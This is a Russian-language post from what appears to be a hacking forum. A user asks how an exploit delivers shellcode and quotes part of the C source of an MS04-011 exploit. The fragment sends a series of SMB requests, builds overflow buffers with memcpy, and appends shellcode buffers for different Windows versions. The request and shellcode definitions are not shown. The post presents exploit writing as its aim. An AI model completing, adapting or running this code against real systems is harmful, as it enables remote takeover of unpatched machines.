• XSS.stack #1 – первый литературный журнал от юзеров форума

Помощь в написании эксплойта

ZeroCool

HDD-drive
Пользователь
Регистрация
05.07.2006
Сообщения
34
Реакции
1
Как-то тупо получилось у меня с прошедшим топиком. Ну в принципе, ладно,
Вперед к написанию эксплоитов.
Не могли бы вы мне помочь и объяснить мне эту часть исходника(ms04-011), и общую работу эксплойта(я уже вдоволь наслушался о переполнении а вот, что делает эксплоит
т.е. как он отправляет шеллкод программе и тд.и я не слышал так много).Например, представьте, что я написал шеллкод на определенную уязвимость а что дальше…???
(Сори, что заставил выбирать из форума мои бумагомарания)


if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[ - ] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[ - ] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх